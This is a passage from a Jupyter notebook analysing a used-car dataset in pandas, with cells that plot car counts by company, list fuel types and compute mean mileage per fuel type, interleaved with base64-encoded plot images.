1e+4S8vmPYEDgR0pWy18b5xKSZI0Yn/gpIj4Y0TcFBE3R8RNE67TuyhDcn6UmVsAOwPf7VKQLVzzXER8CrgR+E/KTMXXABtn5t91LG87Snfi84AlmfmUfmoqSVrTNXuqbslQ911mfnuC9VmcmYuaiWM7ZOYdEXFuZu7YtizHcM1/rwHeBnyheXwKZdZiVzcAv6AMmr/veFWTJKmIiFcABwCbARdRWpa+R2lVmpQbI2J94EzgmIi4AbitS0G2cM1jEbE2cHIfrVAR8WpKy9YC4EvAF1w4UZLUl2YruccA52Tm9hGxNfDOzHzhBOt0D+AWytjlFwMbAsdk5q/blmUL1zyWmbdHxB8iYsPM/N2YxT0IeF1mXtRD1SRJGnVLZt4SEUTEupn5w4jYapIVyszfDz0caxNtA9f8dwtwSUScCtz5wsnM17YpJDMP7LtikiQNWRIRGwFfA06NiN8C102iIhFxM80OLaNfouP+jnYpznMRsfdUxzNzrKQuSVItEfE3lO67kzLzT5OuTx8MXGuAZi/FB2bmlZOuiyRJayLX4ZrnIuJZlNkeJzWPt4+IEyZaKUmS1jAGrvnvHZTFSm8EaAa9bzG56kiStOYxcM1/t00xQ9F+ZEmSZpCzFOe/SyPiRcDaEbEl8FrclkeSpBllC9f89xpgW+BW4HPA7ygr+UqSpBli4Jr/tmn+rUPZm2o34LyJ1kiSpDWMy0LMcxFxJfAG4FLgjsHxzPzpxColSdIaxjFc89/SzPz6pCshSdKazBaueS4idgb2Ak6jjOMCIDO/MrFKSZK0hrGFa/7bB9gauAvLuhQTMHBJkjRDDFzz3yMz8xGTroQkSWsyZynOf+dExDaTroQkSWsyx3DNcxFxBfAQ4BrKGK4AMjO3m2jFJElagxi45rmIeNBUx10WQpKkmWPgkiRJqswxXJIkSZUZuCRJkiozcEmSJFVm4JIkSarMwCVJklTZ/wd30Ah67E9YYwAAAABJRU5ErkJggg==\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "plt.figure(figsize=(10,10))\n", - "company_count.plot(kind='bar')" - ] - }, - { - "cell_type": "code", - "execution_count": 93, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array(['cng', 'diesel', 'petrol', 'lpg', 'electric'], dtype=object)" - ] - }, - "execution_count": 93, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# separating the fuels according to mileage\n", - "fuel_type=data_trimmed['Fuel_Type'].str.lower().unique()\n", - "fuel_type" - ] - }, - { - "cell_type": "code", - "execution_count": 94, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Fuel_Type\n", - "CNG 25.418036\n", - "Diesel 18.620484\n", - "Electric 16.825000\n", - "LPG 19.385000\n", - "Petrol 17.415204\n", - "Name: Mileage, dtype: float64" - ] - }, - "execution_count": 94, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "mileage = data_trimmed.groupby('Fuel_Type').Mileage.mean()\n", - "mileage" - ] - }, - { - "cell_type": "code", - "execution_count": 95, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 95, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "mileage.plot(kind='box')" - ] - }, - { - "cell_type": "code", - "execution_count": 96, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 96, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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